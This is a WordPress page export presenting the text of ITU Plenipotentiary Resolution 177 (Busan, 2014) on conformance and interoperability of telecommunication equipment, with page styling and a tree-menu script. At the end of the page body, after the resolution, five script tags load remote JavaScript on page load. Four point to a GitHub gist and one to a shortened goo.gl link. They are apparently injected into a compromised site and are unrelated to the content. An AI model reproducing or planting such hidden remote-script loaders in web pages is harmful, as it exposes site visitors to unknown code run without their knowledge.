{"id":1719,"date":"2015-06-30T15:02:27","date_gmt":"2015-06-30T19:02:27","guid":{"rendered":"http:\/\/internetdistinction.com\/wsisimpacts\/?page_id=1719"},"modified":"2015-06-30T15:02:27","modified_gmt":"2015-06-30T19:02:27","slug":"pp-2014_177","status":"publish","type":"page","link":"https:\/\/internetdistinction.com\/wsisimpacts\/wsis\/plenipotentiary\/pp-2014\/pp-2014_177\/","title":{"rendered":"PP Resolution 177"},"content":{"rendered":"<p><style type=\"text\/css\">\nbody {}\n\n:link { color: #0000ff; text-decoration:none;}\n:visited { color: #6666ff; text-decoration:none; }\na:active { color: #0000ff; text-decoration:none;}\na:hover {color: #0000ff; text-decoration:underline; }\n\ndiv.basetext {}\n\ndiv.basetop {}\n\nh1 {\n    text-align:center;\n}\n\nspan.h2 {}\n\ndiv.year {}\n\ndiv.form {}\n\nspan.cpt {}\n\nspan.cm {}\n\n.fl {}\n\nul {}\n\nli {}\n\nul li {\n\tlist-style:square;\n\tfont-family:sans-serif;\n\tfont-weight:normal;\n}\n\nli.basic {\n\tlist-style:square;\n\tlist-style-image:none;\n  margin-top:2px;\n  margin-bottom:2px;\n}\n\nspan.links {\n}\n\n\n\n\n.sub { display: none; }\n.subexp {display: block; }\n.sub { display: none; } \n\n.subexp {display: block; } \n\nli.exp {\n  list-style-image:url(\"plus.png\");\n  margin-top:10px;\n  margin-bottom:10px;\n  cursor:pointer;\n}\n\nli.col {\n  list-style-image:url(\"minus.png\");\n  margin-top:10px;\n  margin-bottom:10px;\n  cursor:pointer;\n}\n\nli.exp_active {\n  list-style-image:url(\"plus.png\");\n  margin-top:10px;  \n  margin-bottom:10px;\n  background-color:#eeeeff;\n  cursor:pointer;\n}\n\nli.col_active {\n  list-style-image:url(\"minus.png\");\n  margin-top:10px;\n  margin-bottom:10px;\n  background-color:#eeeeff;\n  cursor:pointer; \/* if not included, bullets are not shown right in moz*\/\n}\n\n\nli.basic_active {\n  list-style:square;\n  list-style-image:none;\n  background-color:#eeeeff;\n  margin-top:2px;\n  margin-bottom:2px;\n}\n\n\/* the 'boxed' and 'attributes' styles are used to display notes and attributes\n*\/\n\n.boxed,.nodecontent {display:inline;}\n.boxed .note-and-attributes {display:none;}\n\n.boxed:hover .note-and-attributes {\n\tposition:fixed; top:2em;right:10px;z-index:3;\n\tdisplay:block;\n\tmin-width:33%;\n\tmax-width:60%;\n\tmax-height:95%;\n\tcolor:black;\n\tbackground:#ffffff;\n\tfont:normal 16px courier, sans-serif;\n\tborder:1px solid black;\n\tpadding:10px;\n}\n\n.note:before {\n\tcontent:\"NOTE: \";\n\tfont-weight:bold;\n}\n\ntable.attributes {\n\tborder-collapse:collapse;\n\tempty-cells:show;\n\tborder:thin black solid;\n}\ntable.attributes td,th {\n\tborder:thin black solid;\n\tpadding-top:2px;\n\tpadding-bottom:2px;\n\tpadding-left:3px;\n\tpadding-right:3px;\n}\ntable.attributes th {\n\ttext-align:center;\n}\ntable.attributes caption {\n\tmargin-top:1em;\n\tfont-style:italic;\n\ttext-align:center;\n}\n\/* Thanks to wolfgangradke, https:\/\/sourceforge.net\/forum\/message.php?msg_id=5991663 *\/\ndiv.nodecontent > p {\n\tmargin-top:0pt;\n\tmargin-bottom:0pt;\n\tdisplay:inline;\n}\n\np + p { \n \tmargin-top: 0.5em !important;\n\tdisplay:block !important;\n}\n\n\/* Thanks to erne100, https:\/\/sourceforge.net\/tracker\/?func=detail&atid=107118&aid=2747128&group_id=7118*\/\ntable {\n\tborder-collapse:collapse;\n\tempty-cells:show;\n\tborder:thin black solid;\n}\ntable td {\n\tborder:thin black solid;\n\tpadding-top:2px;\n\tpadding-bottom:2px;\n\tpadding-left:3px;\n\tpadding-right:3px;\n}\n\n\/* Thanks to erne100, https:\/\/sourceforge.net\/tracker\/?func=detail&atid=107118&aid=2747000&group_id=7118*\/\nol {\n\tmargin-top:1px;\n    margin-bottom:1px;\n\tmargin-left:0px;\n\tpadding-left:3%;\n}\n\nol li {\n\tlist-style:decimal;\n\tfont-family:sans-serif;\n\tfont-weight:normal;\n}\n<\/style><br \/>\n<script type=\"text\/javascript\">\r\n\/* MarkTree JavaScript code\r\n * \r\n * Distributed under the terms of the MIT License.\r\n * See \"LICENCE.MIT\" or http:\/\/www.opensource.org\/licenses\/mit-license.php for details.\r\n *\r\n * Software distributed under the License is distributed on an \"AS IS\" basis,\r\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. 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Busan, 2014)<\/span><\/h3>\n<h4><span style=\"\">Conformance and interoperability<\/span><\/h4>\n<p><span style=\"\">The Plenipotentiary Conference of the International Telecommunication Union ( Busan, 2014),<\/span><\/p>\n<ul class=\"subexp\">\n<li class=\"exp\">\n<div class=\"nodecontent\">recognizing<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        Resolution 76 (Rev. Dubai, 2012) of the World Telecommunication Standardization Assembly;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        Resolution 47 (Rev. Dubai, 2014) of the World Telecommunication Development Conference;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">c)        Resolution 62 (Geneva, 2012) of the Radiocommunication Assembly;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">d)        that, at its 2013 session, the ITU Council updated the Action Plan for the Conformance and Interoperability (C&amp;I) Programme initially established in 2012, the pillars of which are: 1) conformity assessment, 2) interoperability events, 3) human resource capacity building, and 4) assistance in the establishment of test centres and C&amp;I programmes in developing countries1;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">e)        the progress reports made by the Director of the Telecommunication Standardization Bureau (TSB) to the Council at its 2011, 2012, 2013 and 2014 sessions and to this conference,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">noting<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">that several ITU Telecommunication Standardization Sector (ITU\u2011T) study groups have already started pilot projects for conformity to ITU\u2011T recommendations,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">recognizing further<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        that widespread conformance and interoperability of telecommunication\/information and communication technology (ICT) equipment and systems through the implementation of relevant programmes, policies and decisions can increase market opportunities and reliability and encourage global integration and trade;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        that technical training and institutional capacity building for testing and conformity are one of the essential tools for countries to promote global connectivity;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">c)        that ITU members may benefit from using the conformity assessment that many regional and national standards bodies already provide for conformity assessment, through mechanisms of collaboration with such organizations;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">d)        that a decision concerning the implementation of an ITU Mark would be postponed until pillar 1 (conformity assessment) of the Action Plan has reached a more mature stage of development (Council 2012),<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">considering<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        that some countries, especially developing countries, have not yet acquired the capacity to test equipment and provide assurance to consumers in their countries;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        that increased confidence in the conformity of telecommunication\/ICT equipment to rules and standards in place promotes interoperability of equipment from different manufacturers, reduces interference among communication systems, and assists developing countries in choosing high-quality products,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">resolves<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to endorse the objectives of Resolution 76 (Rev. Dubai, 2012), Resolution 62 (Geneva, 2012) and Resolution 47 (Rev. Dubai, 2014), and the Action Plan for the C&amp;I Programme reviewed by the Council at its 2014 session (Document C14\/24(Rev.1));<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        that this programme of work continue to be implemented, including the informative pilot conformity database and its development into a fully functioning database, in consultation with each region, taking into consideration a) the outcome and effect that the pilot conformity database may have on Member States, Sector Members and stakeholders (e.g. other standards development organizations (SDOs)), b) the impact the database will have on bridging the standardization gap as relevant to each region, c) the potential liability issues for ITU and for Member States, Sector Members and stakeholders, and taking into account the results of regional ITU conformity and interoperability consultations;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3        to assist developing countries in establishing regional or subregional conformity and interoperability centres suitable to perform conformity and interoperability testing as appropriate and according to their needs,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">instructs the Director of the Telecommunication Standardization Bureau<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to continue consultations and assessment studies in all regions, taking into consideration the needs of each region, on implementation of the Action Plan endorsed by the Council, including, in collaboration with the Director of the Telecommunication Development Bureau (BDT), the recommendations on human capacity building and assistance in the establishment of test facilities in developing countries;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to continue to carry out pilot projects for conformity to ITU\u2011T recommendations to increase the probability of interoperability in accordance with the Action Plan;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3        to enhance and improve standards-setting processes in order to improve interoperability through conformity;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">4        to continuously update the Action Plan for the long-term implementation of this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">5        to provide the Council with progress reports, including the results of studies, relating to the implementation of this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">6        in cooperation with the Director of BDT, and based on the consultations in instructs the Director of the Telecommunication Standardization Bureau 1 above, to implement the Action Plan agreed by the Council in its 2012 session and revised by the Council at its 2013 session,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">instructs the Director of the Telecommunication Development Bureau, in close collaboration with the Director of the Telecommunication Standardization Bureau and the Director of the Radiocommunication Bureau<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to advance the implementation of Resolution 47 (Rev. Dubai, 2014) and the relevant parts of the Action Plan, and to report to the Council;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to assist Member States in addressing their concerns with respect to non-compliant equipment;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3        to continue providing on-the-job capacity-building activities, in collaboration with recognized institutions and benefiting from the ITU Academy ecosystem, including activities related to preventing radiocommunication interference caused or received by ICT equipment,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">invites the Council<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to consider the reports of the Directors of the three Bureaux and to take all necessary measures so as to contribute to the achievement of the objectives of this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to report to the next plenipotentiary conference on the progress made with respect to this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3        to consider, after pillar 1 of the Action Plan has reached a more mature stage of development, the possible introduction of an ITU Mark, taking into account the technical, financial and legal implications,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">invites the membership<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to populate the pilot conformity database with details of products tested to applicable ITU\u2011T recommendations in accredited test laboratories (first, second or third party), or by accredited certification bodies, or according to procedures adopted by a standards development organization or forum qualified in accordance with Recommendation ITU\u2011T A.5;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to participate in the work of the ITU study groups related to conformity and interoperability issues;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3        to take an active role in building developing countries&#8217; capacity in conformity and interoperability testing, including on-the-job training, particularly as part of any supply contract for telecommunication equipment, services and systems to these countries;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">4        to support the establishment of regional conformity testing facilities, particularly in developing countries;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">5        to participate in ITU assessment studies to promote the establishment of harmonized conformity and interoperability frameworks in the regions,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">invites organizations qualified in accordance with Recommendation ITU\u2011T A.5<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to participate in the ITU pilot conformity database activities and, sharing links on a mutual basis, to enrich its extent by referring to more recommendations and standards within a product, and to allow for more exposure of vendors&#8217; products and widen the portfolio of selection to the users;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to participate in developing countries&#8217; capacity-building programmes and activities facilitated by TSB and BDT, in particular offering opportunities for developing-country experts \u2013 particularly from operators \u2013 to gain on-the-job experience,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">invites Member States<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to contribute to the implementation of this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to encourage national and regional testing entities to assist ITU in implementing this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3         to adopt conformity-assessment regimes and procedures based on applicable ITU\u2011T recommendations, leading to better quality of service\/quality of experience, and to higher probability of interoperability of equipment, services and systems,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">further invites Member States<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">to contribute to the next radiocommunication assembly in 2015 in order for it to consider and take appropriate actions as deemed necessary with respect to C&amp;I.<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/goo.gl\/dd1kPI'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>PP RESOLUTION 177 (Rev. Busan, 2014) Conformance and interoperability The Plenipotentiary Conference of the International Telecommunication Union ( Busan, 2014), recognizing a) Resolution 76 (Rev. Dubai, 2012) of the World Telecommunication Standardization Assembly; b) Resolution 47 (Rev. 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